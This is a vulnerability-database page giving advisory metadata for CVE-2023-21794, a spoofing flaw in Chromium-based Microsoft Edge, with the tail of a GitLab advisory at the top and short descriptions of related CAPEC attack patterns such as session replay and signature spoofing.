"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2023/CVE-2023-2001.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/406764"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WGHG-W3FF-3454
Vulnerability from github – Published: 2023-02-14 21:30 – Updated: 2023-02-14 21:30Microsoft Edge (Chromium-based) Spoofing Vulnerability
{
"affected": [],
"aliases": [
"CVE-2023-21794"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-14T20:15:00Z",
"severity": "MODERATE"
},
"details": "Microsoft Edge (Chromium-based) Spoofing Vulnerability",
"id": "GHSA-wghg-w3ff-3454",
"modified": "2023-02-14T21:30:29Z",
"published": "2023-02-14T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21794"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21794"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202309-17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-476: Signature Spoofing by Misrepresentation
An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-667: Bluetooth Impersonation AttackS (BIAS)
An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.